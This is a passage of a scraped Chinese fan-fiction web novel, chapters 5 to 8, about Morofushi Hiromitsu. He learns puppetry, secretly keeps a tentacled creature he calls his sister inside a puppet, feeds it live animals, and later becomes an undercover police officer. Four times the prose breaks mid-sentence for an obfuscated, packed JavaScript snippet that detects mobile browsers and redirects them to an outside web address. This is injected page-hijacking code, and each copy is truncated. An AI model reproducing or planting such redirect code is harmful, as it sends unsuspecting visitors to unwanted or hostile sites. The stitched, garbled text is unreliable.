d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527785|203593||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子的力量也很小,类似刀具这样的危险物品,假如被恶人拿到反会令自己受伤。倒不如胡椒粉更实用安全。” 右近灵机一动,自以为想到一个好主意,挥动木头双手比划:“电击好了,电击,设计成双手可以飞出去,抓住凶手导电,滋滋滋滋!大获全胜!” 诸伏景光眨眨眼,一时间没反应过来这句话里所隐藏的关键信息。 “凶……手……外守一?” 聪明的妹妹却已经明白了其中的联系。 “啊,抱歉!” 木偶右近双手捂住嘴。 左近爷爷用没有操控他的那只手轻拍一下右近的头。 “你这说话没遮掩的大漏勺。抱歉,或许不应该告诉你,但……考虑到安全,也许知道一些情况还是必要的。” 左近爷爷告诉他,凶手逃走这一让人难过的事实。 他没有说,哪怕凶手没有逃走,考虑到凶手的精神状况,被抓起来也不会判多重的刑。 这个国家的司法就是如此。本身死刑就极为稀少,除非是以一杀三或者极为惨烈严重,影响重大的情况,否则基本不会判死刑。 一方面跟人口与生产力不足有关,另一方面……嗯,实际上如此之多的侦探已经能够让你明白,这个国家警力系统的薄弱与疲软。冤假错案的比例居高不下,无法提高错判率,那就只能降低错杀率,哪怕大量死不足惜的罪犯被放过,但又有更多罪不至死的人同样逃过一劫,倒也不失为一种平衡方法。 凶手……逃跑了……? 小景光抱住自己的双臂,他忍不住打个冷颤。 “太好了。” 有里妹妹竟然这样说。 在橘左近锐利的目光注视过来时,诸伏景光竟没有察觉妹妹的话哪里不对。等他反应过来的时候,妹妹已经继续说下去。 “被抓住就见不到啦,(哥哥)想要见一面吧?” 景光的脑子有些晕眩,见一面,他,见一面凶手吗? 他的脑海之中模糊的浮现,透过自己藏身的橱柜的缝隙所看到,歪歪斜斜,如同酒杯一般的纹身图案,正在那个男人的手臂之上。 为什么要伤害我们?为什么要杀害我的父母?为什么为什么为什么为什么为什么? 哪怕听到了现场的复述,哪怕警察叔叔耐心的告诉他,对方只是脑子生病了,男孩的内心依然不明白,不理解。 为什么。 不是愤怒不是恐惧不是憎恨,他只是单纯的不理解。 ‘你想见他对吗?见过一面就好啦,见到面,可以可以可以可以可以杀了他吗杀了他吃了他吗吃了他我可以吃吗哥哥我觉得一定很好吃。’ 年幼的孩子陷入困惑,随即是无措,本来高昂的情绪被打了个岔,化作无可奈何似的疲惫。 ‘不行。人类不是吃的东西,会吃坏肚子。’ 妹妹连身体都没有,应该怎么吃? 诸伏景光一时没想到这个问题。 他只想着,以后自己得好好学做饭,妈妈不在了,以后,他得好好学做饭才行。 5. 第五章 也许是因为橘左近爷爷声名远扬,无论是作为文乐艺人世家的国宝级艺人,还是作为曾经的名侦探傀儡师橘左近,都过于声名显赫。他的声望令犯人闻风丧胆,不敢靠近。 诸伏景光童年时代并未见到疑似凶手的人。 后来他见过一次高明哥,哥哥与左近先生交谈了许久,也与他的养父养母见过面,之后很放心的将他托付给了他们。 可惜的是,哥哥没来得及见到左近爷爷送他的人偶,那是一具与红发人偶极为相似的黑色短发人偶。 也许是因为仿制右近人偶的缘故,外貌与五官大体与右近相似,眼睛是与景光相似的灰蓝色,头发是黑色短发,像雏人偶的娃娃头发型。她头发极为柔软,黑色如绢,让人摸上去爱不释手。 学习操控妹妹有些难度,他做不到像左近老爷子一样如同呼吸一般自然操控,让人偶灵活又灵动。他只能犹如滞后半拍,在妹妹说话之时慌乱的使用人偶配合妹妹的动作,这让人有些小沮丧。 不过左近爷爷说这是很正常的情况,多练习就能让自己更为熟练,当操控成为一种肌肉习惯之后,操控人偶会成为一种条件反射,不经过大脑思考就能做出各种动作,这才是真正的傀儡师。 “被妹妹的步调拖着走吗,没关系,我年轻的时候也这样,哪怕现在也经常如此。”左近爷爷安慰道,“人偶有着自己的想法跟灵魂,我时常会这么觉得。有的时候会觉得仿佛是木偶在操纵傀儡师,而不是反过来。这正是精神集中,身心合一的证据。” 爷爷总能用最亲切合理的逻辑解释在景光看来复杂难解的问题。他很庆幸能遇到左近爷爷,还有右近,每次看着右近,他都会赞同爷爷的理论,人偶的确有灵魂。 ……那么他有一个没有身体的妹妹,也丝毫不奇怪。 景光如饥似渴的学习傀儡知识,他希望有一天能像老爷子一样,灵活操控人偶,这样一来妹妹就能像右近一样,可以光明正大的出现在人前,与更多人交流,认识更多的人。 这是我的妹妹有里。 他希望能有一天,可以如此向他人介绍。 或许有些对不起精神失常的外守一先生,但,精神失常的外守一先生都没有为杀害自己父母的事赎罪不是吗?那样的话又有什么资格指责他们? 在学习与生活之中,他的精神压力似乎得到纾解,他又重新恢复了语言能力,这令他的养父母,还有橘老爷子都很高兴,大家还一起庆祝了一番。高明哥哥还特地坐车过来看他,与他聊了许久。 除了学习如何操控傀儡,左近爷爷还给他讲了很多在他云游期间遇到的案子。爷爷不是推理爱好者,也从不自认为侦探,他清楚的知道,自己至始至终都只是一个傀儡师。 在悲剧发生之前他没有能力洞察杀意,阻止不幸,自己所能做的,也只是利用操纵右近之时自己头脑绝对客观冷静的片刻,分析整个故事的起承转折与各种脉络,推测出真正的暗线,让悲伤的故事就此终结,仅此而已。 景光很喜欢这些故事,他用心的记住每一个故事,想着未来如果有机会,有一天他会把故事整理出来。不过当他透露出这个想法后,被左近爷爷婉拒了。他希望大家记忆中的自己是一位技艺高超的傀儡师,而不是一名业余侦探。 景光很喜欢爷爷,令人惋惜的是,在他学会全部傀儡技艺之时,左近老爷子过世了。他已经年过九十,算得上喜丧。很多人过来参加葬礼,在守灵夜期间,发生了一件事。 他与两个男人一起守灵,大家全都睡着了。 突如其来的惊叫声把大家吵醒,睁开眼他们才发现,一个男人倒在地上嗷嗷直叫。他的一只手还捏着右近人偶,另一只手则捂住自己的双眼,一边尖叫一边流泪。 他的妹妹掉在离男人不远处。景光看见,赶紧先把妹妹捡起来,检查了下没有摔坏,只是用来喷胡椒的机关已经被触动清空。 “这家伙,是来偷人偶的吗?” 一同守夜的男人很快发现问题,愤怒的将小偷绑起来。 右近是古董级别的名作,本来应该作为橘家的珍藏品继续传给后人,他的家人希望右近可以送老爷子最后一程,所以将它留在了棺材盖上,想着守夜结束再取走。 守夜的又都是熟人,没人想到竟然有胆大包天的小偷,在香烛里面加了料,放倒守夜的人之后准备偷走珍贵的人偶。 “诅咒人偶!那个诅咒人偶袭击了我!你们疯了,竟然把诅咒人偶放在灵堂上!” 小偷哀嚎着。 大家没有当回事,大约是熟人都因右近人偶曾经如何栩栩如生脱了敏,听到别人说什么诅咒人偶啊,还有人偶是不是活着这类话的时候,大家都会自动对标到右近人偶头上。 再怎么说都是国宝级别的古董了,真的有灵魂,也是一件值得高兴的事。就算是诅咒人偶,那也是身价极高的诅咒人偶,比起害怕被人偶诅咒,大家更怕人偶磕了碰了,它真的很值钱! “有里?” 是你吗,有里,保护了右近,阻止了坏人将他带走? ‘右近是我很好的朋友。不能让他带走朋友。’ 有里可以流畅地跟人对话,可思维依然像个小孩。她的想法简单又单纯,这时而令景光担心,但是这一次,多亏了有里保护右近,让老爷子的葬礼没有遭到破坏。 “好孩子,做得很好。” 抚摸着妹妹黑色短发时,景光心里想着,有里很喜欢右近火红色的长发。女孩子的话,果然更喜欢长头发吧?如果是长头发,他也可以给妹妹扎好看的辫子。下次去问问制作傀儡的大师,能否配几套不同长度的人偶假发。 “作为奖励,今天可以多吃三只老鼠哦,小有里~” 妹妹喜欢吃活的东西,最好是活生生,新鲜有血的生物。死的不行,煮熟的也不行。知道妹妹不吃自己做的食物时,他还曾难过了一小阵,后来很快又释怀了。 最一开始他没亲眼看见妹妹如何吃东西,也不知道她要吃什么。直到有一天他很偶然的发现了只有半截的老鼠,掉在人偶旁边的地上,上半身还吱吱吱的血淋淋的扭动。那时候真的吓了一跳,不过很快他就欣喜的意识到,原来妹妹也会吃东西。 爬行类宠物店经常会卖这类饵料,一整窝幼鼠饲养起来相当方便,数量较多的话家人也难以分清到底有没有少。而且老鼠的生育力极强,基本能完成自产自销,可以长期持续使用。 唯一的问题是,妹妹的饭量随着年岁增长逐渐变大。目前他还可以负担,但是再过个几年,恐怕老鼠之类的就难以满足了。猫跟狗都是人类的朋友,他不太希望那样。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527786|203593||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 养鸡的话,需要更大一些的院子。 又或者去找一份来钱快的工作?一份除了警察之外的兼职,毕竟警察只有一个固定的死工资。 在知道凶手外守一在逃之后,他跟高明哥都将志愿定为成为警察。他的养父母了解他的心中遗憾,同意了他的任性,只是他们殷切的希望他不要放弃傀儡这门技艺。哪怕不成为傀儡师,单单是将技艺传承下来,已经是家里人极大的欣慰。 他的养父是一名高不成低不就的傀儡师,因此在看到颇有天赋的诸伏景光时,对他寄予了深切期待。但他同样是一个善良的人,并没有逼迫景光必须选择成为傀儡师。他只是单纯希望一个拥有天赋的孩子可以继承这项技艺,仅此而已。 诸伏景光很难对家人说明,学会腹语的人不是自己,笨拙的他也只能勉强操纵傀儡,根本不是什么出色的傀儡师。 至于成为警察,抓住凶手之后的事,目前他还无法想到那么远。他的大部分时间与精力,都消耗在教导妹妹遵守人间常识,还有进餐规范与礼仪上面。 就像现在,已经是他出色的教育成果了,小偷没有像半截老鼠一样丢掉手指,他的妹妹果然是个温柔听话的好孩子。 守夜换班,诸伏景光得以回家休息。他按照跟妹妹的约定,从笼子里多匀了三只老鼠给妹妹。 诸伏景光扣动套在左手上的人偶机关,妹妹人偶张开嘴,一条冰凉又湿滑,像活着的盲蛇一般的黑色触手从人偶口中游曳出来。 触手的顶端像是开花一般张裂开,露出层层叠叠如鲨鱼一般的锋利又带有倒钩的獠牙。 咔嚓,咔嚓咔嚓。咕咚。 骨头碾碎的声音,血肉摩擦的声音,最初听到时会有些难受,听习惯了反倒觉得上瘾。尤其是最后那一下子吞咽声,尤其让人觉得舒爽,仿佛前面漫长的研磨,全都是为衬托最后一下干脆轻吞的快乐。 这种美妙,不习惯的人恐怕难以想象,大约唯有喜欢爬行类动物的人可以分享。 诸伏景光还曾加了爬行爱好者的聊天论坛,跟圈里人交流令他心情舒畅。 正如最初妹妹刚开始说话的时候,他遇到了傀儡师,确认自己并不特殊一样;在饲养妹妹的过程中,与爬行类爱好者接触,让他回到了舒适圈,确认自己不奇怪也不小众。 妹妹很聪明也很笨拙,她太聪明了,会懂得害羞,她总认为自己长得不好看,腼腆得将自己的大部分的本体藏起来。如同一只敏感又害羞的蜗牛,不愿意从壳子里流露太多柔软。 哪怕他一再劝说,表明无论是当年的爸爸还是他自己,都不在意她长什么样,妹妹依然选择将自己裹在木偶壳子里,不想被太多人看见。 偶尔,也只是偶尔,当木偶不方便的时候,妹妹会趁他不注意,在他视线死角之中迅速又安静的躲在他的背后,紧贴他的后背,用吸盘扒紧了他,生怕掉下去。 这时候又有点像章鱼,但他知道她不是。章鱼有一个头,跟很多触角。妹妹不是的,她很细长,细长到可以在贴着他后背的同时,在他腰间多缠绕一圈,冰冰又凉凉,夏天的时候非常舒适。 他喜欢夏天的时候带着妹妹出去走,天然自动降温。 当然冬天就大可不必了,他更希望自己穿着棉袄,妹妹穿着人偶,这让他们彼此都更暖和一些。 6. 第六章 诸伏景光其实一直想把妹妹介绍给高明哥,只是一直以来都没有机会。 与除了学习人偶操控之外,大部分时间都很悠闲的他不同,高明哥的学业很繁重,第一志愿是东都大学法学院的人自然跟普通人不同,没有那么多空闲。 兄弟两人好几个月才有一次会面机会,还经常因为这样那样的事错过。见面之后又总会不知觉聊起他们与父母之前的回忆,很难在那种场合向高明哥介绍腼腆的妹妹。 后来他曾鼓足勇气介绍过一次,不过高明哥似乎认为妹妹只是他操控的傀儡。没有见到妹妹本体的话,恐怕任何人都很难相信。 妹妹也很害羞,面对高明哥,总爱把木偶穿得严严实实。哪怕他一再强调,高明哥不是只看外表的人,妹妹还是不愿意让高明哥发觉自己柔软的内在,真是个腼腆可爱的小淑女。 不过随着时间推移,岁月增长,妹妹也长大了,懂事了。 好比食物方面,不再让诸伏景光感到担心。可能之前是成长期吃得比较多,现在她的食量基本正常,几只成年竹鼠,又或者一天一只鸡就足够了。 妹妹甚至学会了网购,可以直接网购活鸡到家,哪怕家里没人,她只需让快递放在门口,将签收单从门缝塞入,盖章之后再塞回去,等人走了再取快递就拿到食物了。 在成年搬出去住之后,她都是这样解决三餐问题。 哦,对了,比起他这个无能又废物的哥哥,妹妹已经开始赚钱养家。没错,房租跟伙食费都是妹妹自己出的,她开了个直播频道,用木偶妹妹形象作主播,貌似还挺受欢迎。 虽说银行挂的是诸伏景光的卡,很多人也以为是他开的直播。然而等他们登录进来,大家都被妹妹的非凡魅力所迷住,被她深深吸引。大部分弹屏都说妹妹很灵动,就像活着的一样,她的美超越了真实与虚拟,套牢许多粉丝。 直播间的内容以教外语跟表演傀儡戏为主,希望能借此让自己孩子对外语产生兴趣的订阅观众多到难以置信。妹妹总爱说,这世上数家长跟小孩的钱最好赚。 妹妹能同时操纵很多具傀儡,可以轻松操纵傀儡进行表演。家里恰好有挺多傀儡,有的是买的,有的是朋友送的,再加上收养他的家庭本来就是傀儡师世家,道具很容易拿到手。 诸伏景光偶尔也会参一脚,他会操纵一具傀儡参与傀儡戏。每当这时候,比起表演,更像他们兄妹之间的玩耍,有时候他们甚至不用大纲,仅需要设定好角色,开个头,自顾自就将情节演绎下去,他们一起出品了不少有趣的傀儡戏。 妹妹也爱喜新厌旧。最近她似乎对直播腻了,可能是因为她又长大了,在不同的时间段她会对不同的东西感兴趣。前一段时间她还曾兴致勃勃的打网游,据说是替别人代打,上次她还说自己忙着带某位老板过关卡拿游戏道具,这样都能挣到不少钱,真是个奇妙的世界。 结果就是当哥哥的他压力很大,诸伏景光开始担心自己会变成一个被无所不能妹妹包养的废人。未来只能去做牛郎了吗?除了这张脸他还有什么能拿出手?很多时候他都如此担忧的想着。 最终,他还是决定去考警校。一方面警校包吃包住,另一方面……在抓到杀死父母的凶手之前,恐怕高明哥会一直耿耿于怀。 他听说了高明哥,明明可以通过公务员一类考试去金表(职业)组,却任性的决定选择非职业组。恐怕原因是作为非职业组他便可以到基层去工作,能掌握更多的一线情报。 外守一尚未缉拿归案,这件事如今成为高明哥不可逾越的一道人生阻碍。假如没有这件事,高明哥本该有更广阔的未来。 其实在很多年前,诸伏景光已经对外守一释然了。他是个比高明哥更现实的人,人海茫茫,万一那个神经病死在了富士山,尸体都找不到,难道他们要这样挂念一辈子,不过自己的生活了吗? 但是,高明哥在乎。高明哥有时候太过执拗,他是个固执的人,就跟计算机一样只知道0跟1,黑白相当分明。也许未来有一天高明哥能懂得人在世间,多数时间都要走在灰色之中,但现在,他还是一如既往的固执。 找不到凶手他就会继续找下去,假如有人提出线索是凶手消失在树海,说不定他真会跑到富士山树海把每一具尸体的头骨都拍照复原,他就是个这样固执的人。 诸伏景光算是没办法了,他觉得自己必须采取行动,于是他选择去警校上学。没办法,他之前的大部分时间跟精力都用在学傀儡戏上面,没有花费太多时间在学校正常课程上面。要让他像哥哥那样在考试之中拔得头筹恐怕不大可能,他只能花点时间补补课,只要能顺利通关就算万事大吉。 圈内知道这事的朋友不太多,他们都以为景光还在开发直播傀儡戏这种新媒体形式,多数人都希望他能多参与几场现场表演。 除了实在推不掉的几局之外,大部分他还是推掉了。他也不必说明原因,艺术家们做任何事都不需要理由。就像左近爷爷,年轻的时候花费大把时间在旅游跟破案上,借此积累丰富的社会经验运用在傀儡戏之中,才令他的表演栩栩如生。大家都说不愧是橘左近,没人会质疑他为什么不花全部精力登台表演,这就是艺术家,你不懂,是因为你不是艺术家,就这么简单。 所以诸伏景光跑去报考警校非常合理。只是跟自己的哥哥不同,他的第一志愿可不是刑警,那样容易伤到手。养父母对他有恩,那么唯有将傀儡戏这项技艺传承下去,才不算辜负他们的扶养。 他想,他或许会选择排爆组这类方向,同样是精密的手艺活,对他的双手将是不错的锻炼,不会让他的技艺生疏。 另外,排爆警察相当的危险。怎么说,这个岗位的人员报废率太高了,基本是用人命在填。 这样一来岂不是只有交警吗?那样还能获得什么情报,如何找得到外守一?诸伏景光感到一阵头疼,刚入学,他已经感到了就业压力带给他的无限烦恼。 入学之前,在被告知住校期间连手机都会没收时,他情不自禁的发出一声哀嚎。 他以为能用手机的,至少可以看直播!上警校不可能把妹妹也带来,总该让他在直播上看看妹妹吧?手机都被没收,人还住校的话,妹妹怎么办?他根本就不放心!妹妹这么单纯,又欠缺社会常识,没有他跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527787|203593||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在身边,总担心会出什么乱子。 “哥哥你太爱操心了,没问题的,我早就可以独立自主生活了。” 妹妹安慰道,现在哪怕不用他的左手,妹妹也可以用黑色柔韧的触手将木偶身体举起来支撑起来,的确是肉眼可见的能够独立了。 “没办法,一根触手哥哥多少还是会觉得担心,万一受伤就不妙了,如果能多几根的话哥哥会放心许多,仅有一根,长得再长也只是一根啊。” 景光哥哥忍不住用手掩口,我的妹妹多么柔弱又单纯,放她一个人,我好担心! “在说什么呢,人家又不是章鱼,哪有那么多触手。如果我说哥哥你多长几个OO可以多娶几个老婆,难道听起来不奇怪吗?” 诸伏景光汗颜:“啊,这个就有点一言难尽了。还有女孩子别直接说那个词,不好听。” “可是章鱼的触手就是用来OO的,哥哥你好好再想一想刚才自己都说了什么。” “章鱼也只有一根触手是用来干那个的吧……好了好了,我投降,是我的问题,不该说那么粗鲁的话。呜呜呜,只有一根触手也很柔软美丽,有里最可爱了~是哥哥没有你不行,一想到要离开你这么久,简直寂寞得要死掉。” 这是大实话。 诸伏景光很有自知之明,他其实是一个敏感又脆弱的人。 他跟高明哥联系较少。就算是打电话,多打几次高明哥都会用谚语教训他,让他不要总黏糊自己。 他能理解,高明哥是考虑收养他们的两位养父母的心情,可理性上的理解,不代表感性上接受。失去了双亲的诸伏景光,基本见不到高明哥的面,于是成为他情感寄托的自然是亲爱的妹妹有里。 哪怕腼腆又害羞,哪怕只有一根触手,哪怕要吃活生生的动物,有里就是有里,一直陪伴他,保护他,甚至还挣钱养他这个废柴哥哥的可爱甜妹。 “这就是问题所在,哥哥你太粘人,太依赖我了。” 有里弯了弯触手叹息。 “总不能对你将来的夫人说,对不起,能不能让妹妹跟我们一起住,因为我们从小到大都没分开过?太怂了,老哥。” 有里控制人偶的手拍了拍他的肩膀。 “可恶,真令人难过,还以为有里会说将来要跟哥哥结婚!别人家的妹妹都是这么说的!” 景光抬手假装擦眼泪,一副被抛弃的可怜相。 “哥哥,你没有腕足。” 是的,虽然看起来像蛇,虽然只有一根,但,既然有吸盘,那肯定就是腕足。腕足的话,结婚对象肯定也得有腕足啊! 诸伏景光跪坐在地,双手懊恼捶地板。 “可恶,为什么我没有腕足!” 被剥夺‘将来要跟欧尼酱结婚’这项权利终身什么的,太让世界上每一个妹控伤心了! “哥哥你,哪天还是去心理医生那边复诊一下比较好。” 被只有一根腕足妹妹这样吐槽,哪怕是诸伏景光,都觉得这个世界似乎哪里有点问题的样子。 我没病,当然没有。如果有,一定是因为我太过在意你,我亲爱的小有里。 7. 第七章 回想起他在警校的时光,高度总结一下,就是与童年伙伴降谷零再会,还有结交了几个挚友,算是一段较为快乐的住校生活。 虽然期间发生了很多事,包括外守一那件事……但,总体还是快乐居多。 毕业后本来他可以回去做傀儡师,但警校期间的生活跟经历,已经为他开启了不同的未来。诸伏景光一时间对成为警察产生憧憬,产生当警察也不错这类想法。 经常会发生这样的事吧,喜欢的朋友选择去哪里读书,或者到哪里就业,自己忍不住跟着一起去了。反正对自己来说去哪里都没有太大差别,那么去朋友所在的地方也不错。 诸伏景光就是一个容易被环境影响,被气氛打动的人。明明外守一落网,他已经没有继续做警察的理由了,警校的生活依然改变了他,让他产生试试看也无妨的想法。 也不知道上头的人怎么想的,选择派他去做卧底。 又或者,正因为他的身份合适,才格外适合去做卧底。 是的,身份。诸伏景光目前的家庭背景,他的养父母都是傀儡世家,跟警力系统没有关联。虽说他的亲哥是警察,但是哥哥生活在另一所城市,与他见面机会不多,了解他们兄弟关系的人很少,基本只有极为亲近的人才知晓。 医生的孩子是医生,厨师的孩子是厨师,老鼠的孩子会打洞,世袭环境在这个国家根深蒂固。目标领域一旦固定,世代的积累便可越挖越深。好比傀儡戏就是如此,傀儡技艺本来就是通过每一代艺人的磨练与积累,代代相传下来的。这不是一种能在书本上轻松学到的通用知识,而是更私人的,需要不断打磨和琢磨,不断积累与练习才能传承下去的技艺。 当然,世袭制度的缺点自然也有很多,先不说腐败贪污之类的问题,一个人是否擅长某项工作,喜欢某项工作,本来就跟血缘关系不大。世袭维护了传统,也造成了尸位素餐。 在警察这个行业里,世袭现象也相当明显。你会发现相熟的面孔很多,圈子其实真的很小。只要你参加上个几次聚会,基本谁是谁的亲朋好友家长爱人之类就都知道了。 于是当警方需要派出卧底时,就有很多要注意的问题。首先,圈内人肯定会互相照顾,谁希望自己的亲人去做卧底呢?有关系的人肯定会通过关系将亲朋好友运作到更好的位置,唯有没靠山的警界新人,才会被安排到危险的工作岗位上。 还有就是,圈内人全都混得太熟了,某些警界世家的小孩,可能从他在小朋友的时期就不断在圈子里刷存在感。像这一类人,就算想去卧底也铁定被拒。 公安一般默认下层警力系统里,不可避免的会存在卧底。基层警察收入不高,重金砸下总有一两人动摇。当然真能卧底到公安之中就有点恐怖了,那就是所谓真正的恐怖分子。 公安按照条件筛查了一下,立即Pick到诸伏景光与降谷零。 此次卧底潜入的目标组织是个国际组织,诸伏景光的眼睛是灰蓝色,加入国际组织有外貌优势。安室透也是因为同样原因筛进去的,谁让他外貌特征一看就是混血。 当诸伏景光被询问要不要加入警视厅成为公安,执行一项卧底任务时,他产生一种奇妙的错觉,仿佛自己成为了世界主角。 神秘任务,重任在身,国际组织,卧底,关键词一出来,轻小说都能水个几十万字。 诸伏景光当机立断选择加入。他意外发现,这条路相当适合自己。哪怕他将来转行回去演傀儡戏,卧底生活都会成为一段不错的社会经验。 他以前听左近老爷子讲述那段云游破案经历时,内心就十分羡慕,希望自己也能有类似的经历。他也希望能够去不同的地方,经历不同的事,将这些化作经验与技艺。 更甚至,就算成了卧底,他都能随时有退路。他可以不回警察部门而是去做傀儡师,如此一来,没有任何人能想到他曾经是个卧底,自然也不会追着他不放。 还有更重要的一点是——他的妹妹有正式工作。 是的,直播什么的只能算爱好,哪怕有收入,毕竟不稳定。除了直播之外,有里妹妹一直都有在做其他的正常工作,远在她无能的哥哥毕业之前,妹妹已经在赚钱养家。 最初听说妹妹找到工作还有固定工资时,诸伏景光简直觉得天旋地转! 就连一根触手都找到了工作,而他,身为哥哥,竟然,还没获得一份像样的工作! 傀儡戏算是艺术类范畴,就跟演员一样,成为大师出名之前,倒贴的钱恐怕比赚得钱还多。跟世代都是干这行的橘老爷子不同,在他未来没有决定真正职业的取向之前,他难以开口让养父母贴钱。 如此一来,找工作对他来说简直迫在眉睫,诸伏景光都有些迫切到,哪怕去做交警也可以这样的程度了。现在听说有一个不错的offer,这项工作相当惊险,还充满戏剧色彩,他怎可能拒绝? 于是事情就这样敲定了。 他跟养父母说自己找了一份海外工作,再用他的真实身份出国,又用公安给的身份回来,改变形象,改名换姓又出了一次国。 出国前他回家没见到妹妹,妹妹给他留言说自己目前的公司安排自己出公差了。虽说他有点好奇到底是什么样的工作需要一根触手出公差,但他也没细问。还是给女孩子留一点自己的私人空间,否则做哥哥的会被讨厌。 这时候他还没有意识到,事情的严重性。 直到他从远程监控里,确认妹妹好几天没回家,才感到有问题。 这是去哪里了,出差那么多天,西伯利亚吗? 他忍不住拨通妹妹的电话,哪怕还在任务期间,反正他还没去某国际组织报道,只是打个私人电话应该没多大问题。 “有里,你去哪里了,为什么好多天不回家?” 有里反问:“哥哥你也没回家不是吗?有什么资格质问我?哥哥为了工作出差,我就不能为工作出差?” 诸伏景光一口气卡住喉咙差点没上来,被呛得够呛。 他口气软下来:“可以,当然可以,哥哥只是不太理解,什么样的保洁公司会长期出差嘛,听起来不像正经的保洁。” 是的,妹妹最近在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527788|203593||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做保洁,听起来很普通传统,贵在收入稳定。考虑到他自己也在社会里就职警察体验生活,他觉得妹妹选择这份工作同样是为了社会学习,就没有多问。 现在想来,他应该好好问清楚。哪家正规保洁需要出差这么久,还是让一根触手出差,可恶,他们要对他可爱又柔弱的妹妹做什么,铁定是觊觎妹妹的美色啦!触手什么的,很容易用在不好的用途不是吗?这个国家的涩情行业太过发达了! “瞎想什么呢,笨蛋哥哥,是正规的工作,有认真报税的哦!公司还好心为我做了身份,社会保险也有缴纳。这次出差地点在国外,很快就能搞定,完成工作后我会去看你的。哼哼哼,我知道你想我了。” “才,才没有呢……好吧,其实是有一点想。可是,唔,被人发现也不太好吧,哥哥目前做的工作,嗯,好像也没差,忙完就过来,地址我发你。” 诸伏景光这才想到,他的妹妹,是一根触手啊!本体只是一根触手,木偶什么的只是类似衣服一样的外套,就算不穿木偶,也可以穿别的东西,譬如狙击.枪什么的,完全没必要担心会不会在卧底期间被人看到。 说起来,人在外国应该买不到竹鼠,除了鸡鸭之外有没有什么特别的,活鱼?龙虾?牛蛙? 诸伏景光的心情有些小雀跃。卧底的紧张与烦恼被他暂时抛在一边,现在他要操心的,是等妹妹过来的时候准备什么好吃的呢?好难抉择。 * 在这里先交代一下诸伏景光具体的卧底情况。在他出国之前,同僚们已经把前期工作全都做好。诸伏景光变身名为绿川光的自由佣兵。 在国外佣兵呀杀手呀,直接在黑市跟暗网就有特定人员跑来招募。无论是应聘者还是聘用方都摆在明面上,甚至还能评论打星。 同样新鲜出炉的是安室透这名情报商,相较于绿川光,他的背景更好操作一些。为情报商刷单,不要太过简单,反正都是无形交易,具体买卖了些什么,别人又不能查。 绿川光就要辛苦一些了,他走实操路线,需要真实做几次任务。同僚们帮忙筛选出组织发布的一些任务,让他去完成。组织有较为固定的招聘渠道,一般都是通过这些小任务筛选出他们所需要的人才,再进一步进行接触。 一个能使用枪械,疑似接受过正规训练的佣兵在这里相当常见。很多国家完全不去管退伍老兵的生活,这类人没有其他生活技能,也只有当佣兵一条出路。受过军事化训练的佣兵又猛又狠,与他们同台竞争,试图入职的警方卧底竟显得有些楚楚可怜。 诸伏景光很快给自己调整应聘方向,他特意突出自己的远程狙击能力,这是技术性较强的工作,可以跟其他佣兵错位竞争。 后续他接了几个很简单的任务,经过了测试,获得了组织招揽,成为了外围成员。 外围成员离获得组织核心情报还远着,剩下的只能看运气跟熬时间。诸伏景光的步调放慢下来,一切都得按部就班。 这天他忙完一些繁琐的底层任务,回到他在国外的临时居所。只听叮咚一声,联邦快递送货上门。 8. 第八章 他签收之后拿回去拆开快递,里面果然是妹妹。还真是方便啊,走快递,还用了专业防震包装,避免人偶外壳磕碰,妹妹在很多时候都很细心。 “冷,哥哥,帮我放些热水。空运仓库比想象之中的冷,冻死我了。” 妹妹嘎吱嘎吱响,应该不是木偶发出的声音,是里面的触角在撞击空腔吧,触角在难以控制的颤抖。 “真意外,还以为有里是不怕冷跟热,还有超级辐射以及水压这些的,你看,电视上不都这么演的吗?” 景光体贴的去浴室放水,还拿出一大桶海盐倒入,将水调配成海水浓度。妹妹比较喜欢这个浓度的水,盐分高一些多泡一泡触角的状态会相当好。 “就算不怕,还是有感觉的,就像被辣椒很突然的辣一下,不管是爱不爱吃的人都会吓一跳吧?” 景光一边搅动浴池水,一边回答:“这个比喻不错,爱吃辣的人恐怕会很高兴。难得出国,要不要一起去海边玩?不好意思白天去,我们可以晚上去玩。” 